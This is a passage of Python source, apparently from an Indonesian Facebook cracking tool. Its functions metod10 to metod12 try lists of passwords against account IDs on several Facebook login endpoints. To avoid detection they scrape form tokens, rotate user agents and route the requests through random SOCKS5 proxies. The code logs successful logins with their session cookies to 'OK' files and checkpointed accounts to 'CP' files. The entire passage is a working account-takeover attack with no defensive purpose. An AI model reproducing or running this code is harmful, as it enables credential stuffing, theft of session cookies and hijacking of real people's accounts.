  1521.             link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1522.             data = {
  1523. 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1524. 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  1525. 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
  1526. 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
  1527. 'try_number': 0,
  1528. 'unrecognized_tries': 0,
  1529. 'email':idf,
  1530. 'pass':pw,
  1531. 'login':'Masuk',
  1532. 'prefill_contact_point': '',
  1533. 'prefill_source': '',
  1534. 'prefill_type': '',
  1535. 'first_prefill_source': '',
  1536. 'first_prefill_type': '',
  1537. 'had_cp_prefilled': False,
  1538. 'had_password_prefilled': False,
  1539. 'is_smart_lock': False,
  1540. 'bi_xrwh': 0
  1541. }
  1542.             headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v12.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'AXRLN2ab6tbNBxFWS6kiERe8mEyeHkpYgc1xM77joSCak8hY1B2+tWfeptUXVmRpMqno2j95r13+cw0bLoOi4A==','content-length': '2141','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
  1543.             link = random.choice(["https://m.facebook.com/login/device-based/regular/login/?api_key=140810032656374&auth_token=63ed3e768f0e783f4cc81a6b1026c500&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fclient_id%3D140810032656374%26redirect_uri%3Dhttps%253A%252F%252Faccounts.pixiv.net%252Fpigya%252Fproxy%252Fcallback%252Ffacebook%26response_type%3Dcode%26scope%3Demail%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dd3e7e4df-8e7b-42c9-81a7-ee0e2abb19c9%26tp%3Dunspecified&refsrc=deprecated&app_id=140810032656374&cancel=https%3A%2F%2Faccounts.pixiv.net%2Fpigya%2Fproxy%2Fcallback%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%23_%3D_&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=7ade521eceaab1458866d9821149d64f&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv2.9%2Fdialog%2Foauth%3Fapp_id%3D213560439114%26cbt%3D1677182177996%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df11da1fc663793c%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%26client_id%3D213560439114%26display%3Dtouch%26domain%3Dwww.starmakerstudios.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Flogin%252Fpage%253Freturn_url%253D%252Finstrumental%252Fupload%26locale%3Dzh_CN%26logger_id%3Df2bda15588a0498%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df1931b4149a3a44%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%2526frame%253Df3f39a10ef963dc%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Demail%26sdk%3Djoey%26version%3Dv2.9%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1931b4149a3a44%26domain%3Dwww.starmakerstudios.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Ff1245028efb5658%26relation%3Dopener%26frame%3Df3f39a10ef963dc%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cbt%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9"])
  1544.             po = ses.post(link,data=data,headers=headers,allow_redirects=False)
  1545.             if "checkpoint" in po.cookies.get_dict().keys():           
  1546.            
  1547.                 if 'no' in gabriel:
  1548.                     cp+=1
  1549.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1550.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1551.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1552.                     cetak(CYXID)
  1553.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1554.                     akun.append(idf+'|'+pw)
  1555.                     break
  1556.                    
  1557.                 if 'no' in gabriel:
  1558.                     cp+=1
  1559.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1560.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1561.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1562.                     cetak(CYXID)
  1563.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1564.                     akun.append(idf+'|'+pw)
  1565.                     ceker(idf,pw)
  1566.                     break
  1567.             elif "c_user" in ses.cookies.get_dict().keys():
  1568.                 if 'no' in taplikasi:
  1569.                     ok+=1
  1570.                     coki=po.cookies.get_dict()
  1571.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1572.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1573.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1574.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1575.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1576.                     cetak(CYXID)
  1577.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1578.                     break
  1579.                 elif 'ya' in taplikasi:
  1580.                     ok+=1
  1581.                     coki=po.cookies.get_dict()
  1582.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1583.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1584.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1585.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1586.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1587.                     cetak(CYXID)
  1588.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1589.                     cek_apk(kuki)
  1590.                     break      
  1591.                
  1592.             else:
  1593.                 continue
  1594.         except requests.exceptions.ConnectionError:
  1595.             time.sleep(31)
  1596.     loop+=1
  1597.    
  1598. def metod10(idf,pwv):
  1599.     global loop,ok,cp
  1600.     prog.update(des,description=f"[bold green]m.latest.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1601.     prog.advance(des)
  1602.     ua = random.choice(ugen)
  1603.     ua2 = random.choice(ugen2)
  1604.     ses = requests.Session()
  1605.     for pw in pwv:
  1606.         try:
  1607.             if 'ya' in ualuh: ua = ualu[0]
  1608.             nip=random.choice(prox)
  1609.             proxs= {'http': 'socks5://'+nip}
  1610.             ses.headers.update({"Host": "m.latest.facebook.com","cache-control": "max-age=0","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","sec-ch-ua": '" Not A;Brand";v="99", "Chromium";v="104"',"sec-ch-ua-mobile": "?1","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","sec-fetch-user": "?1","upgrade-insecure-requests": "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1611.             p = ses.get("https://m.latest.facebook.com/login/?next&ref=dbl&fl&login_from_aymh=1&refid=8&rtime=1683944258&hrc=1&wtsid=rdr_0gZzKoj357cYCGFsc&refsrc=deprecated&_rdr")
  1612.             dataa ={'lsd': re.search('name="lsd" value="(.*?)"',str(p.text)).group(1), 'jazoest': re.search('name="jazoest" value="(.*?)"',str(p.text)).group(1), 'm_ts': re.search('name="m_ts" value="(.*?)"',str(p.text)).group(1), 'li': re.search('name="li" value="(.*?)"',str(p.text)).group(1), 'try_number': '0', 'unrecognized_tries': '0', 'email': idf, 'pass': pw, 'prefill_contact_point': '', 'prefill_source': '', 'prefill_type': '', 'first_prefill_source': '', 'first_prefill_type': '', 'had_cp_prefilled': 'false', 'had_password_prefilled': 'false', 'is_smart_lock': 'false', 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(p.text)).group(1)}
  1613.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1614.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1615.             heade={
  1616.             "Host": "m.latest.facebook.com",
  1617.             "content-length": f"{len(str(dataa))}",
  1618.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(p.text)).group(1),
  1619.             "origin": "https://m.latest.facebook.com",
  1620.             "content-type": "application/x-www-form-urlencoded",
  1621.             "user-agent": ua,
  1622.             "accept": "*/*",
  1623.             "x-requested-with": "com.microsoft.bing",
  1624.             "sec-ch-ua": '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
  1625.             "sec-ch-ua-platform": '"Android"',
  1626.             "sec-ch-ua-mobile": "?1",
  1627.             "sec-fetch-site": "same-origin",
  1628.             "sec-fetch-mode": "cors",
  1629.             "sec-fetch-dest": "empty",
  1630.             "sec-fetch-user": "?1",
  1631.             "referer": "https://m.latest.facebook.com/intl/save_locale/?loc=es_LA&href=https%3A%2F%2Fm.latest.facebook.com%2F&index=3&ls_ref=m_basic_locale_footer&ref_component=mbasic_footer&ref_page=%2Fwap%2Findex.php&refid=8",
  1632.             "accept-encoding": "gzip, deflate br",
  1633.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  1634.             }
  1635.             po = ses.post('https://m.latest.facebook.com/login/device-based/regular/login/?refsrc=deprecated&lwv=100&refid=8',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1636.             if "checkpoint" in po.cookies.get_dict().keys():           
  1637.            
  1638.                 if 'no' in gabriel:
  1639.                     cp+=1
  1640.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1641.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1642.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1643.                     cetak(CYXID)
  1644.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1645.                     akun.append(idf+'|'+pw)
  1646.                     break
  1647.                    
  1648.                 if 'no' in gabriel:
  1649.                     cp+=1
  1650.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1651.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1652.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1653.                     cetak(CYXID)
  1654.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1655.                     akun.append(idf+'|'+pw)
  1656.                     ceker(idf,pw)
  1657.                     break
  1658.             elif "c_user" in ses.cookies.get_dict().keys():
  1659.                 if 'no' in taplikasi:
  1660.                     ok+=1
  1661.                     coki=po.cookies.get_dict()
  1662.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1663.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1664.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1665.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1666.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1667.                     cetak(CYXID)
  1668.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1669.                     break
  1670.                 elif 'ya' in taplikasi:
  1671.                     ok+=1
  1672.                     coki=po.cookies.get_dict()
  1673.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1674.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1675.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1676.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1677.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1678.                     cetak(CYXID)
  1679.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1680.                     cek_apk(kuki)
  1681.                     break      
  1682.                
  1683.             else:
  1684.                 continue
  1685.         except requests.exceptions.ConnectionError:
  1686.             time.sleep(31)
  1687.     loop+=1
  1688.    
  1689. def metod11(idf,pwv):
  1690.     global loop,ok,cp
  1691.     prog.update(des,description=f"[bold green]Free V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1692.     prog.advance(des)
  1693.     ua = random.choice(ugen)
  1694.     ua2 = random.choice(ugen2)
  1695.     ses = requests.Session()
  1696.     for pw in pwv:
  1697.         try:
  1698.             if 'ya' in ualuh: ua = ualu[0]
  1699.             nip=random.choice(prox)
  1700.             proxs= {'http': 'socks5://'+nip}
  1701.             ses.headers.update({"Host":"free.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://free.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1702.             p = ses.get('https://free.facebook.com/login/?email='+idf).text
  1703.             dataa ={
  1704. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1705. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1706. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1707. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1708. 'email':idf,
  1709. 'pass':pw
  1710. }
  1711.             ses.headers.update({'Host': 'free.facebook.com',
  1712. 'cache-control': 'max-age=0',
  1713. 'upgrade-insecure-requests': '1',
  1714. 'origin': 'https://free.facebook.com',
  1715. 'content-type': 'application/x-www-form-urlencoded',
  1716. 'user-agent': ua,
  1717. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1718. 'sec-fetch-site': 'same-origin',
  1719. 'sec-fetch-mode': 'cors',
  1720. 'sec-fetch-user': 'empty',
  1721. 'sec-fetch-dest': 'document',
  1722. 'referer': 'https://free.facebook.com/login/?email='+idf,
  1723. 'accept-encoding':'gzip, deflate br',
  1724. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1725.  
  1726.             po = ses.post('https://free.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  1727.             if "checkpoint" in po.cookies.get_dict().keys():           
  1728.            
  1729.                 if 'no' in gabriel:
  1730.                     cp+=1
  1731.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1732.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1733.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1734.                     cetak(CYXID)
  1735.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1736.                     akun.append(idf+'|'+pw)
  1737.                     break
  1738.                    
  1739.                 if 'no' in gabriel:
  1740.                     cp+=1
  1741.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1742.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1743.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1744.                     cetak(CYXID)
  1745.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1746.                     akun.append(idf+'|'+pw)
  1747.                     ceker(idf,pw)
  1748.                     break
  1749.             elif "c_user" in ses.cookies.get_dict().keys():
  1750.                 if 'no' in taplikasi:
  1751.                     ok+=1
  1752.                     coki=po.cookies.get_dict()
  1753.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1754.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1755.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1756.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1757.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1758.                     cetak(CYXID)
  1759.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1760.                     break
  1761.                 elif 'ya' in taplikasi:
  1762.                     ok+=1
  1763.                     coki=po.cookies.get_dict()
  1764.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1765.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1766.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1767.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1768.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1769.                     cetak(CYXID)
  1770.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1771.                     cek_apk(kuki)
  1772.                     break      
  1773.                
  1774.             else:
  1775.                 continue
  1776.         except requests.exceptions.ConnectionError:
  1777.             time.sleep(31)
  1778.     loop+=1
  1779.    
  1780. def metod12(idf,pwv):
  1781.     global loop,ok,cp
  1782.     prog.update(des,description=f"[bold green]Free V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1783.     prog.advance(des)
  1784.     ua = random.choice(ugen)
  1785.     ua2 = random.choice(ugen2)
  1786.     ses = requests.Session()
  1787.     for pw in pwv:
  1788.         try:
  1789.             if 'ya' in ualuh: ua = ualu[0]
  1790.             nip=random.choice(prox)
  1791.             proxs= {'http': 'socks5://'+nip}
  1792.             ses.headers.update({"Host":"free.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://free.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1793.             p = ses.get('https://free.facebook.com/login/?email='+idf).text
  1794.             dataa ={
  1795. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1796. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1797. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1798. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1799. 'email':idf,
  1800. 'pass':pw
  1801. }
  1802.             ses.headers.update({'Host': 'free.facebook.com',
  1803. 'cache-control': 'max-age=0',
  1804. 'upgrade-insecure-requests': '1',
  1805. 'origin': 'https://free.facebook.com',
  1806. 'content-type': 'application/x-www-form-urlencoded',
  1807. 'user-agent': ua,
  1808. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1809. 'sec-fetch-site': 'same-origin',
  1810. 'sec-fetch-mode': 'cors',
  1811. 'sec-fetch-user': 'empty',
  1812. 'sec-fetch-dest': 'document',
  1813. 'referer': 'https://free.facebook.com/login/?email='+idf,
  1814. 'accept-encoding':'gzip, deflate br',
  1815. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1816.  
  1817.             po = ses.post('https://free.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  1818.             if "checkpoint" in po.cookies.get_dict().keys():           
  1819.            
  1820.                 if 'no' in gabriel:
  1821.                     cp+=1
  1822.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
